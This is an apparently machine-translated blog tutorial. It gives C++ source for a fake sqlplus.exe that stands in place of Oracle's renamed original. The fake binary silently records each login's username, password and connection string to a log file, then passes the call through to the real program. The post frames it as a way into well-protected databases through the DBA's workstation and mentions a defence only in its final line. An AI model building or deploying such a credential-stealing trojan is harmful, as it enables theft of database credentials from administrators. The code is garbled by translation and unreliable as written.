SQLPlus obtains database logon information

When a DBA logs on to a local or remote database, it is common to log on to the database using the "sqlplus username/password @ Connection Service name" method to save time, if we replace Oracle SQLPlus with our own implementation, and record its login information when using it, we will get the database username, password, and other information.

This is a very simple method, which has its own limitations. However, sometimes, if the database itself is highly protected, you can start from the DBA client and use this method to achieve unexpected gains.

:

This method is the same as that of Oracle.

Logged logon information:

The Code is as follows:

/**
* Author: xiongchuanliang
* Desc: replace the original Oracle version with custom sqlplus, and record the user's logon information in the custom program.
1. Find sqlplus.exe from oracle.cn and name it another file.
2. Replace the original version with a custom one.
*/
# Include <stdio. h>
# Include <stdlib. h>

# Include <Windows. h>

# Include <iostream>
# Include <fstream>
Using namespace std;

HRESULT CMDEx (const char * pCmd );

// Change the original version of sqlplus.exeto sqlplus_ora.exe ";
Const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe ";
Const string oper_log = "C:/mysqlplus. log ";

Int main (int argc, char * argv [])
{
String sqlplus_cmd = sqlplus_path;

Ofstream flog (oper_log, ios: app );
SYSTEMTIME sys;
If (flog ){
GetLocalTime (& sys );
Flog <sys. wYear <"-" <sys. wMonth <"-" <sys. wDay <"" <sys. wHour <":" <sys. wMinute <":" <sys. wSecond <"";
}
For (int I = 1; I <argc; I ++)
{
Sqlplus_cmd.append ("");
Sqlplus_cmd.append (argv [I]);
If (flog) flog <"" <argv [I];
}
If (flog ){
Flog <endl;
Flog. close ();
}
Cout <"Demo: % s \ n" <sqlplus_cmd.c_str () <endl;
CMDEx (sqlplus_cmd.c_str ());
Return 0;
}

HRESULT CMDEx (const char * pCmd) // LPCTSTR pszCMD
{
 
# If defined (WIN32) | defined (WIN64)
If (pCmd = NULL | pCmd [0] = 0)
{
Return S_FALSE;
}
 
STARTUPINFOA si;
PROCESS_INFORMATION pi;
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa = {0, NULL, TRUE };

// Create an anonymous Pipeline
If (! CreatePipe (& hRead, & hWrite, & sa, 0 ))
{
Return S_FALSE;
}
ZeroMemory (& pi, sizeof (pi ));
ZeroMemory (& si, sizeof (STARTUPINFO ));
Si. cb = sizeof (STARTUPINFO );
Si. wShowWindow = SW_HIDE;
Si. hStdOutput = hWrite;
Si. hStdError = hWrite;
Si. hStdInput = hRead;
Si. dwFlags = STARTF_USESHOWWINDOW;

Char szCMD [1024] = {0 };
Sprintf_s (szCMD, 1024, "cmd.exe/C %. 1000 s", pCmd );

// Create a process to execute the command
If (CreateProcessA (NULL, szCMD, NULL, NULL, TRUE, 0, NULL, NULL, & si, & pi ))
{

// Wait until the command execution is complete
WaitForSingleObject (pi. hProcess, INFINITE );

CloseHandle (hWrite );
DWORD dwRet, dwReaded;
Char szBuf [256] = {0 };

// Obtain the return value of a process execution.
GetExitCodeProcess (pi. hProcess, & dwRet );

// Read the output from the console.
While (ReadFile (hRead, szBuf, 255, & dwReaded, NULL ))
{
SzBuf [dwReaded] = 0;
// Enter the command content to the screen
Cout <szBuf <endl;
Memset (szBuf, 0,256 );
}
CloseHandle (hRead );
Return HRESULT_FROM_WIN32 (dwRet );
}
Else
{
CloseHandle (hWrite );
CloseHandle (hRead );
Return (HRESULT_FROM_WIN32 (GetLastError ()));
}
# Else
Return 0;
# Endif
}

This only demonstrates the basic functions, and so on. Some command line programs in other databases can also be implemented in this way, the best way to defend against this is to enter a connection string without a plaintext password.